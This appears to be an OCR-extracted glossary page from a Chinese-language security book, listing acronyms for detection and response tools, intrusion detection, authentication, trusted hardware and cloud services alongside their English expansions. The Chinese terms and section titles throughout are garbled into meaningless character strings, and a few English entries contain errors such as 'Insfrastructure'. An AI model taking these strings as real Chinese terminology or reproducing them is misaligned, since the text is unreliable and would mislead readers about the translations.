11.10.6 B5fEI+E>x<

o IoC (Indicators of Compromise)

BAR AR

o MZEHE MR (Network-based Detection and Response, NDR)

o A img (Endpoint Detection and Response, EDR)
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o KM (Managed Detection and Response, MDR)
o PEAMmIR, (Extended Detection and Response, XDR)
o HIBEMNZ4HH (Adaptive Security Architecture, ASA)
o TBAFATM 1)) (Zero Trust Network Access, ZTNA)

o nIETEEM (Cloud Security Posture Management, CSPM)

BhiPIR

o ABRKMZS (Intrusion Detection System, IDS)

o TAHLBAARKEM R4 (Host-based Intrusion Detection System, HIDS)
o FHIARPIHAS (Host Intrusion Prevent System, HIPS)

o RASP (Runtime Application Self-protection)

o Hi—ift A& (Unified Endpoint Management, UEM)

11.10.7 &4

o FHEizZE (Artificial Intelligence for IT Operations, AIOps)
o XUEFINEESTEIEAL (Risk and Vulnerability Assessments, RVA)

o TIEN AN 2NN 4 (Computer Emergency Response Team, CERT)

11.10.8 AIE

o WHZEINIE (Two-Factor Authentication, 2FA)
o ZHFEINIE (Multi-Factor Authentication, MFA)

o — KM (One-Time Password, OTP)

11.10.9 T[{EitE

o T{F -G (Trusted Platform Module, TPM)

11.10.10 =

o NI (Elastic Compute Cloud, EC2)
o TRTBATFAEAR S (Simple Storage Service, S3)

o JCHHEIR S (Instance Metadata Service, IMDS)
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FredE Rl (Continuous Integration, CI)

8324+ (Continuous Deployment, CD)
PRECENAR 45 (Function as a Service, FaaS)
ZesHIIR S5 (Container as a Service, CaaS)
WAFHIARSS (Software as a Service, SaaS)
FEHIRS (Platform as a Service, PaaS)
HbiHEEIR %5 (Insfrastructure as a Service, IaaS)

BT ENES (Edge Computing Machine, ECM)
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